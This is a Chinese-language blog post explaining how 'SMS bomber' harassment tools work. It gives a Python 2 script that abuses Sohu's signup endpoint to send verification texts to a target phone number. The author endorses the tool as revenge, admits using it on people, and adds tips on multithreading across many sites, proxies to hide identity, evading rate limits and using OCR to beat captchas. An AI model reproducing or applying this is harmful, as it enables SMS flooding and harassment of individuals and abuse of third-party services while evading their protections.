Mythsman


I wonder how the world builds software.


短信轰炸机原理分析及简要实现

很多情况下,我们会遇到一些讨厌的人,特别是那种电信诈骗的骗子,行骗方法歹毒低劣,十分令人恶心。然而我们又不能拿他们怎么办。这时候我们就会想起用电话轰炸机这个东西来打击报复。网络上也有过类似的比如“短信轰炸机”这种东西,我也用他来黑过一些人。据他们后来说他们收到的都是些注册会员啊,登陆啊之类的短信提示,十分的烦人。当时听上去就觉得这个东西真的很厉害。最近一个偶然的机会,我发现其实短信轰炸机这种东西原理也是十分的简单的,只要拥有一些基础的网页登陆的知识,理论上就可以实现写出自己的“短信轰炸机”。

原理

在我们注册一家网站的会员的时候,很多情况下我们需要输入我们的手机号来进行识别和绑定。通常的步骤是:

  1. 我们输入手机号;
  2. 系统会向我们的手机发送一条验证码;
  3. 我们将手机上收到的验证码输入到注册页面上来完成识别。明眼人一看大概就能看出其中的端倪。没错,我们就可以利用网站发送的验证短信,来作为我们的”轰炸引擎“。

基本步骤

步骤就是模拟登陆的步骤了,首先我们手动实现一次验证,并且用抓包工具截获他的http封包,获得post的数据,然后利用现有的编程工具,模拟请求即可。

python简单实现

我模拟的是搜狐的注册申请,仅实现一次发送。

import urllib,urllib2,cookielib
path='https://passport.sohu.com/signup/send_mobile_captcha'
number="18282828282"
cj=cookielib.CookieJar()
post_data=urllib.urlencode({'mobile':number,'captchaType':'1'})
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders=[('User-agent','Opera/9.23')]
urllib2.install_opener(opener)
req=urllib2.Request(path,post_data)
response=urllib2.urlopen(req)
print response.read()

其中的post的数据是根据抓包抓来的数据来填写的,其他的就是简单的模拟登陆的东西。

note

  1. 实际应用中,需要使用多线程的技术申请多个网站来保证轰炸的密度。
  2. 申请的频率不能太快,因为服务器端会有记录,申请太快会被拒绝服务的。
  3. 通常会使用proxy代理http服务来隐藏自身信息。
  4. 为了防止被利用,绝大多数的网站都会在申请时设置验证码环节来抵御我们这种恶意的申请。所以通常还需要结合OCR技术来识别验证码。